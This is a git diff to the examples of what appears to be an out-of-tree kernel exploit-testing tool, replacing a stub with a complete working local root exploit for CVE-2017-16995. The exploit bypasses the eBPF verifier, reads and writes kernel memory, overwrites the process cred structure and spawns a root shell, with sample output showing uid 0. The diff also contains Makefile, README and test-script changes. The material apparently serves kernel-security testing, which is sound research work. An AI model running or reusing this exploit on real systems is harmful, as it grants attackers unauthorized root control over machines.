diff --git a/examples/kernel-exploit/.out-of-tree.toml b/examples/kernel-exploit/.out-of-tree.toml index b7a7d03..2fb26b5 100644 --- a/examples/kernel-exploit/.out-of-tree.toml +++ b/examples/kernel-exploit/.out-of-tree.toml @@ -9,4 +9,4 @@ distro_type = "Ubuntu" # regex for `uname -r` # See also: regex-golang.appspot.com # stupid way to generate: $ echo '4.4.0-('$(seq 44 | xargs echo | sed 's/ /|/g')')-.*' -release_mask = "4.4.0-(1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44)-.*" +release_mask = "4.4.0-62-generic" diff --git a/examples/kernel-exploit/CVE-2016-5195.c b/examples/kernel-exploit/CVE-2016-5195.c deleted file mode 100644 index 31556af..0000000 --- a/examples/kernel-exploit/CVE-2016-5195.c +++ /dev/null @@ -1,8 +0,0 @@ -#include -#include - -int main(int argc, char **argv) -{ - /* TODO http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-5195 */ - return EXIT_FAILURE; -} diff --git a/examples/kernel-exploit/CVE-2016-5195_test.c b/examples/kernel-exploit/CVE-2016-5195_test.c deleted file mode 100644 index 663e0e8..0000000 --- a/examples/kernel-exploit/CVE-2016-5195_test.c +++ /dev/null @@ -1,9 +0,0 @@ -#include -#include - -int main(int argc, char **argv) -{ - /* TODO run exploit and create file with it */ - puts("Dummy exploit test"); - return EXIT_FAILURE; -} diff --git a/examples/kernel-exploit/CVE-2017-16995.c b/examples/kernel-exploit/CVE-2017-16995.c new file mode 100644 index 0000000..5ac8b00 --- /dev/null +++ b/examples/kernel-exploit/CVE-2017-16995.c @@ -0,0 +1,496 @@ +/* + Credit @bleidl, this is a slight modification to his original POC + https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c + + For details on how the exploit works, please visit + https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html + + Tested on Ubuntu 16.04 with the following Kernels + 4.4.0-31-generic + 4.4.0-62-generic + 4.4.0-81-generic + 4.4.0-116-generic + 4.8.0-58-generic + 4.10.0.42-generic + 4.13.0-21-generic + + Tested on Fedora 27 + 4.13.9-300 + gcc cve-2017-16995.c -o cve-2017-16995 + internet@client:~/cve-2017-16995$ ./cve-2017-16995 + [.] + [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t) + [.] + [.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel ** + [.] + [*] creating bpf map + [*] sneaking evil bpf past the verifier + [*] creating socketpair() + [*] attaching bpf backdoor to socket + [*] skbuff => ffff880038c3f500 + [*] Leaking sock struct from ffff88003af5e180 + [*] Sock->sk_rcvtimeo at offset 472 + [*] Cred structure at ffff880038704600 + [*] UID from cred structure: 1000, matches the current: 1000 + [*] hammering cred structure at ffff880038704600 + [*] credentials patched, launching shell... + #id + uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet) + +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +char buffer[64]; +int sockets[2]; +int mapfd, progfd; +int doredact = 0; + +#define LOG_BUF_SIZE 65536 +#define PHYS_OFFSET 0xffff880000000000 +char bpf_log_buf[LOG_BUF_SIZE]; + +static __u64 ptr_to_u64(void *ptr) +{ + return (__u64) (unsigned long) ptr; +} + +int bpf_prog_load(enum bpf_prog_type prog_type, + const struct bpf_insn *insns, int prog_len, + const char *license, int kern_version) +{ + union bpf_attr attr = { + .prog_type = prog_type, + .insns = ptr_to_u64((void *) insns), + .insn_cnt = prog_len / sizeof(struct bpf_insn), + .license = ptr_to_u64((void *) license), + .log_buf = ptr_to_u64(bpf_log_buf), + .log_size = LOG_BUF_SIZE, + .log_level = 1, + }; + + attr.kern_version = kern_version; + + bpf_log_buf[0] = 0; + + return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); +} + +int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, + int max_entries, int map_flags) +{ + union bpf_attr attr = { + .map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries + }; + + return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); +} + +int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags) +{ + union bpf_attr attr = { + .map_fd = fd, + .key = ptr_to_u64(key), + .value = ptr_to_u64(value), + .flags = flags, + }; + + return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); +} + +int bpf_lookup_elem(int fd, void *key, void *value) +{ + union bpf_attr attr = { + .map_fd = fd, + .key = ptr_to_u64(key), + .value = ptr_to_u64(value), + }; + + return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); +} + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV32_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV32_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +#ifndef BPF_PSEUDO_MAP_FD +# define BPF_PSEUDO_MAP_FD 1 +#endif + +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = CODE, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_DISABLE_VERIFIER() \ + BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \ + BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \ + BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \ + BPF_EXIT_INSN() /* } */ \ + +#define BPF_MAP_GET(idx, dst) \ + BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \ + BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \ + BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \ + BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \ + BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \ + BPF_EXIT_INSN(), /* exit(0); */ \ + BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ + +static int load_prog() { + struct bpf_insn prog[] = { + BPF_DISABLE_VERIFIER(), + + BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */ + + BPF_LD_MAP_FD(BPF_REG_9, mapfd), + + BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */ + BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */ + BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */ + + /* store map slot address in r2 */ + BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */ + BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */ + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */ + /* get fp */ + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), + BPF_EXIT_INSN(), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */ + /* get skbuff */ + BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16), + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), + BPF_EXIT_INSN(), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */ + /* read */ + BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), + BPF_EXIT_INSN(), + /* else */ + /* write */ + BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), + BPF_EXIT_INSN(), + + }; + return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0); +} + +void info(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[.] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void msg(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[*] "); + vfprintf(stdout, fmt, args); + va_end(args); + fflush(stdout); +} + +void redact(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + if(doredact) { + fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n"); + return; + } + fprintf(stdout, "[*] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void fail(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[!] "); + vfprintf(stdout, fmt, args); + va_end(args); + exit(1); +} + +void +initialize() { + info("\n"); + info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n"); + info("\n"); + info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n"); + info("\n"); + + redact("creating bpf map\n"); + mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0); + if (mapfd < 0) { + fail("failed to create bpf map: '%s'\n", strerror(errno)); + } + + redact("sneaking evil bpf past the verifier\n"); + progfd = load_prog(); + if (progfd < 0) { + if (errno == EACCES) { + msg("log:\n%s", bpf_log_buf); + } + fail("failed to load prog '%s'\n", strerror(errno)); + } + + redact("creating socketpair()\n"); + if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) { + fail("failed to create socket pair '%s'\n", strerror(errno)); + } + + redact("attaching bpf backdoor to socket\n"); + if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) { + fail("setsockopt '%s'\n", strerror(errno)); + } +} + +static void writemsg() { + ssize_t n = write(sockets[0], buffer, sizeof(buffer)); + if (n < 0) { + perror("write"); + return; + } + if (n != sizeof(buffer)) { + fprintf(stderr, "short write: %zd\n", n); + } +} + +static void +update_elem(int key, unsigned long value) { + if (bpf_update_elem(mapfd, &key, &value, 0)) { + fail("bpf_update_elem failed '%s'\n", strerror(errno)); + } +} + +static unsigned long +get_value(int key) { + unsigned long value; + if (bpf_lookup_elem(mapfd, &key, &value)) { + fail("bpf_lookup_elem failed '%s'\n", strerror(errno)); + } + return value; +} + +static unsigned long +sendcmd(unsigned long op, unsigned long addr, unsigned long value) { + update_elem(0, op); + update_elem(1, addr); + update_elem(2, value); + writemsg(); + return get_value(2); +} + +unsigned long +get_skbuff() { + return sendcmd(1, 0, 0); +} + +unsigned long +get_fp() { + return sendcmd(0, 0, 0); +} + +unsigned long +read64(unsigned long addr) { + return sendcmd(2, addr, 0); +} + +void +write64(unsigned long addr, unsigned long val) { + (void)sendcmd(3, addr, val); +} + +static unsigned long find_cred() { + uid_t uid = getuid(); + unsigned long skbuff = get_skbuff(); + /* + * struct sk_buff { + * [...24 byte offset...] + * struct sock *sk; + * }; + * + */ + + unsigned long sock_addr = read64(skbuff + 24); + msg("skbuff => %llx\n", skbuff); + msg("Leaking sock struct from %llx\n", sock_addr); + if(sock_addr < PHYS_OFFSET){ + fail("Failed to find Sock address from sk_buff.\n"); + } + + /* + * scan forward for expected sk_rcvtimeo value. + * + * struct sock { + * [...] + * const struct cred *sk_peer_cred; + * long sk_rcvtimeo; + * }; + */ + for (int i = 0; i < 100; i++, sock_addr += 8) { + if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) { + unsigned long cred_struct = read64(sock_addr - 8); + if(cred_struct < PHYS_OFFSET) { + continue; + } + + unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF); + + if(test_uid != uid) { + continue; + } + msg("Sock->sk_rcvtimeo at offset %d\n", i * 8); + msg("Cred structure at %llx\n", cred_struct); + msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid); + + return cred_struct; + } + } + fail("failed to find sk_rcvtimeo.\n"); +} + +static void +hammer_cred(unsigned long addr) { + msg("hammering cred structure at %llx\n", addr); +#define w64(w) { write64(addr, (w)); addr += 8; } + unsigned long val = read64(addr) & 0xFFFFFFFFUL; + w64(val); + w64(0); w64(0); w64(0); w64(0); + w64(0xFFFFFFFFFFFFFFFF); + w64(0xFFFFFFFFFFFFFFFF); + w64(0xFFFFFFFFFFFFFFFF); +#undef w64 +} + +int +main(int argc, char **argv) { + initialize(); + hammer_cred(find_cred()); + msg("credentials patched, launching shell...\n"); + if(execl("/bin/sh", "/bin/sh", NULL)) { + fail("exec %s\n", strerror(errno)); + } +} diff --git a/examples/kernel-exploit/Makefile b/examples/kernel-exploit/Makefile index 0511f83..e81ae10 100644 --- a/examples/kernel-exploit/Makefile +++ b/examples/kernel-exploit/Makefile @@ -6,18 +6,16 @@ # - Path to exploit binary # - File that MUST be created with exploit. It uses for test that exploit works # correctly. -# - VMLINUZ: path to vmlinuz # # e.g.: # make KERNEL=/lib/modules/4.8.0-58-generic/build \ # TARGET=nyan-exploit \ -# VMLINUZ=/boot/vmlinuz-4.8.0-58-generic -TARGET := CVE-2016-5195 +TARGET := CVE-2017-16995 all: - gcc CVE-2016-5195.c -o $(TARGET) - gcc CVE-2016-5195_test.c -o $(TARGET)_test + gcc CVE-2017-16995.c -o $(TARGET) + cp test.sh $(TARGET)_test clean: rm -f $(TARGET) $(TARGET)_test diff --git a/examples/kernel-exploit/README.md b/examples/kernel-exploit/README.md index 9b83dfd..80e1517 100644 --- a/examples/kernel-exploit/README.md +++ b/examples/kernel-exploit/README.md @@ -1,5 +1,5 @@ # out-of-tree kernel exploit example -Implements CVE-2016-5195 and tests for it. +Implements CVE-2017-16995 and tests for it. See .out-of-tree.toml diff --git a/examples/kernel-exploit/test.sh b/examples/kernel-exploit/test.sh new file mode 100644 index 0000000..caee92f --- /dev/null +++ b/examples/kernel-exploit/test.sh @@ -0,0 +1,2 @@ +#!/bin/sh +echo touch $2 | $1